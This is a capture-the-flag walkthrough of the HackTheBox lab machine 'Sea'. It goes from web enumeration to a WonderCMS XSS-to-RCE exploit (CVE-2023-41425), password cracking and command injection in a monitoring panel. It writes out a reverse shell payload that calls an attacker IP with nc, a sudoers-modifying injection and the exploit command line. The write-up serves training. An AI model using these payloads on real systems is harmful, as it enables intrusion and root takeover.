Sea is a simple box from HackTheBox’s Season 6 of 2024.

Enumeration

As usual, the Nmap scan shows open ports 22 and 80.

We always know that SSH won’t be the first choice,
so let’s check out the web service first.

We browse through each page of the web service but find nothing special.

web page

The only page that stands out is “contact.php”, which has a form.
Our instinct tells us that the “Website” field might be vulnerable to XSS or CSRF attacks.

web page: /contact.php

We scan all possible directories, starting from the root directory.

dirsearch scan: /

The root directory scan show four subdirectories:

• data
• messages
• plugins
• themes

Let’s scan these four directories and their subdirectories.

dirsearch scan: /data

dirsearch scan: /plugins & /messages

dirsearch scan: /themes

Some interesting information appears under the “/themes/bike” directory.

“/themes/bike/summary” exposes the theme used by this CMS.

web page: /themes/bike/summary

“/themes/bike/version” reveals the theme version used by the CMS.

web page: /themes/bike/version

“/themes/bike/LICENSE” exposes the CMS’s copyright information,
including the author’s name.

web page: /themes/bike/LICENSE

Foothold

We search for this information on GitHub and eventually identify the likely CMS through the author’s name.

github search result

We suspect the CMS used here is “Wonder CMS”.
Let’s see if there’s an exploit script available for it.

github search result

Luckily, we find a CVE that matches the version number: CVE-2023-41425
This is an exploit script that use an XSS vulnerability to achieve RCE.

By examining the source code,
we infer that there might be a link like “/index.php?page=loginURL”.

exploit source code

Let’s visit this link.

Yes! It exists, confirming our suspicion that the web service indeed uses “Wonder CMS”.

web page: /index.php?page=loginURL

So, download and execute the exploit script.

python3 exploit.py -u http://sea.htb/loginURL -i <your_ip> -p <your_port> -r http://<your_ip>:8000/main.zip

run exploit script

Enter the link provided by “Send the below link to admin” in the suspected location.

Like this.

Submit the form and wait a moment.

Yes! It worked.

www-data shell

We obtained a “www-data” user shell.

Privilege Escalation

As we know, the “www-data” user has very limited permissions.
We need to escalate privileges.

Let’s explore the web file directory “/var/www/” to look for sensitive information.

check web files

The file “/var/www/data/database.js” caught my attention.

check database.js

Do you see the “password” hash? That might be the breakthrough.

Copy the hash locally and use “John” to brute-force it.

crack password hash

We got a password!

mychemicalromance

Check which users are allowed to log in.

check passwd file

Besides the root user, “amay” or “geo” might be able to login.

Try login by “amay”.

user shell

We obtain a shell with user privileges!

Next, we need to escalate to root.

Let’s check sudo first.

check sudo

The current user amay cannot use the sudo command.

Upload linpeas.sh for a comprehensive enumeration.

SUID/SGID files

Cross-reference the SUID/SGID information with GTFObin,
but nothing useful turns up for now.

But the open ports reveal something interesting,
including ports 8080 and 37309.

active ports

Check out port 8080, it’s also a web service.
It requires authentication, we can reuse amay’s username and password.

other web

To make it easier to inspect through the browser,
we forward port 8080 on the remote machine to port 8080 on our local machine.

ssh -v -N -L 8080:localhost:8080 amay@sea.htb

Then access it via the browser, it’s a system monitoring panel.

other web page

The “Analyze Log File” feature allows access to log files with root permissions.

After some testing,
we find that modifying the “log_file” parameter enables arbitrary file reading.

test log_file

result of test log_file

Further testing the “log_file” parameter with BurpSuite.

test sep

The parameter value can’t end with a “;” symbol.

test sep

But it can end with “+#” (where “+” is URL-encoded as a space).

Test modifying the parameter value to point to two different file paths.

/etc/passwd+/etc/hosts+#

It still works, leading us to suspect that the web application might be using a tool like “cat” to read files.

test double file

Test again,
modifying the parameter value to include a command injection.

/etc/passwd+%26%26+id+#

test command inject

The command injection was successful.

OK, let’s modify the payload to execute a reverse shell.

/etc/passwd+%26%26+rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Cbash%20-i%202%3E%261%7Cnc%2010.10.16.5%2014444%20%3E%2Ftmp%2Ff%3Bsleep+60+#

try get shell

It worked, but the connection dropped shortly after.

We might need another method to gain a persistent root session.
I have a new idea: “Give amay sudo privileges”.

Update the payload to modify the sudoers file.

/etc/passwd+%26%26+echo+"amay+ALL=(ALL)+NOPASSWD:+ALL"+>+/etc/sudoers.d/amay+#

try edit sudoer

The amay user executes the sudo command, it worked!

This is the final step: we obtain a root shell through the sudo command!

root shell

:)